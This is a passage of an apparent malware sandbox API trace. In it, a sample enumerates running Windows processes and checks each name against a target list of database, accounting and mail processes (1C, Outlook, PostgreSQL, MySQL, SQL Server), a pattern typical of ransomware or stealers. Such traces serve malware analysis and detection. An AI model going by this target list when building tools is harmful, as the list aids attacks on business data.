th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.774] lstrlenW (lpString="System") returned 6 [0279.774] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.775] lstrlenW (lpString="smss.exe") returned 8 [0279.775] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.776] lstrlenW (lpString="csrss.exe") returned 9 [0279.776] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.777] lstrlenW (lpString="wininit.exe") returned 11 [0279.777] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.778] lstrlenW (lpString="csrss.exe") returned 9 [0279.778] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.780] lstrlenW (lpString="winlogon.exe") returned 12 [0279.780] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.781] lstrlenW (lpString="services.exe") returned 12 [0279.781] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.783] lstrlenW (lpString="lsass.exe") returned 9 [0279.783] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0279.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0279.783] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0279.784] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0279.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0279.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0279.784] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0279.784] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0279.785] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0279.785] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0279.785] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0279.785] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0279.785] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0279.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0279.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0279.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0279.785] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0279.786] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0279.786] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1 [0279.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1 [0279.787] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1 [0279.787] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1 [0279.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1 [0279.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1 [0279.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1 [0279.787] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.788] lstrlenW (lpString="svchost.exe") returned 11 [0279.788] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.788] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.788] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.788] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.788] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.788] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.790] lstrlenW (lpString="svchost.exe") returned 11 [0279.790] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.790] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.790] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.790] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.790] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.790] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.790] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.792] lstrlenW (lpString="dwm.exe") returned 7 [0279.792] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0279.792] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0279.793] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0279.793] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0279.793] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0279.793] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0279.793] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0279.793] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.794] lstrlenW (lpString="svchost.exe") returned 11 [0279.794] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.794] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.794] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.794] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.794] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.795] lstrlenW (lpString="svchost.exe") returned 11 [0279.795] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.795] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.796] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.796] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.796] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.796] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.796] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.796] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.797] lstrlenW (lpString="svchost.exe") returned 11 [0279.797] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.797] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.797] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.797] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.797] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.797] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.797] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.797] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.798] lstrlenW (lpString="svchost.exe") returned 11 [0279.798] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.798] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.798] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.798] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.799] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.799] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.799] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.800] lstrlenW (lpString="svchost.exe") returned 11 [0279.800] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0279.800] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0279.800] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0279.800] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0279.800] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0279.800] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0279.800] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0279.800] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.388] lstrlenW (lpString="svchost.exe") returned 11 [0280.388] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.388] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.388] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.388] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.390] lstrlenW (lpString="svchost.exe") returned 11 [0280.390] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.390] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.390] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.390] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.392] lstrlenW (lpString="svchost.exe") returned 11 [0280.392] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.392] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.392] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.392] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.433] lstrlenW (lpString="svchost.exe") returned 11 [0280.433] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.433] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.433] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.433] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.434] lstrlenW (lpString="svchost.exe") returned 11 [0280.434] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.434] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.434] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.435] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.435] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.435] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.435] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.435] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.436] lstrlenW (lpString="spoolsv.exe") returned 11 [0280.436] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0280.436] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0280.436] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0280.436] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0280.436] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0280.436] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0280.436] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0280.436] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.437] lstrlenW (lpString="svchost.exe") returned 11 [0280.437] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.437] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.437] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.437] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.437] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.437] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.437] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.437] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.439] lstrlenW (lpString="audiodg.exe") returned 11 [0280.439] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0280.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0280.440] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0280.440] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0280.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0280.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0280.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0280.440] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0280.441] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0280.441] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0280.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0280.441] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0280.441] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0280.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0280.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0280.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0280.441] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0280.442] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0280.442] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0280.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0280.442] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0280.443] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0280.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0280.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0280.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0280.443] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0280.444] lstrlenW (lpString="Memory Compression") returned 18 [0280.444] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0280.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0280.444] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0280.444] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0280.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0280.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0280.444] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0280.444] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.445] lstrlenW (lpString="svchost.exe") returned 11 [0280.445] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0280.445] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0280.445] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0280.445] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0280.445] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0280.446] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0280.446] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0280.446] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.447] lstrlenW (lpString="sihost.exe") returned 10 [0280.447] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0280.447] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0280.447] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0280.447] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0280.447] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0280.447] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0280.447] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0280.447] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0280.449] lstrlenW (lpString="MDMAgent.exe") returned 12 [0280.449] lstrcmpiW (lpString1="1c8.exe", lpString2="MDMAgent.exe") returned -1 [0280.449] lstrcmpiW (lpString1="1cv77.exe", lpString2="MDMAgent.exe") returned -1 [0280.449] lstrcmpiW (lpString1="outlook.exe", lpString2="MDMAgent.exe") returned 1 [0280.449] lstrcmpiW (lpString1="postgres.exe", lpString2="MDMAgent.exe") returned 1 [0280.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="MDMAgent.exe") returned 1 [0280.449] lstrcmpiW (lpString1="mysqld.exe", lpString2="MDMAgent.exe") returned 1 [0280.449] lstrcmpiW (lpString1="sqlservr.exe", lpString2="MDMAgent.exe") returned 1 [0280.449] Process32NextW (in: hSnapshot=0x41c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.450] lstrlenW (lpString="taskhostw.exe") returned 13 [0280.450] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0280.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0280.450] 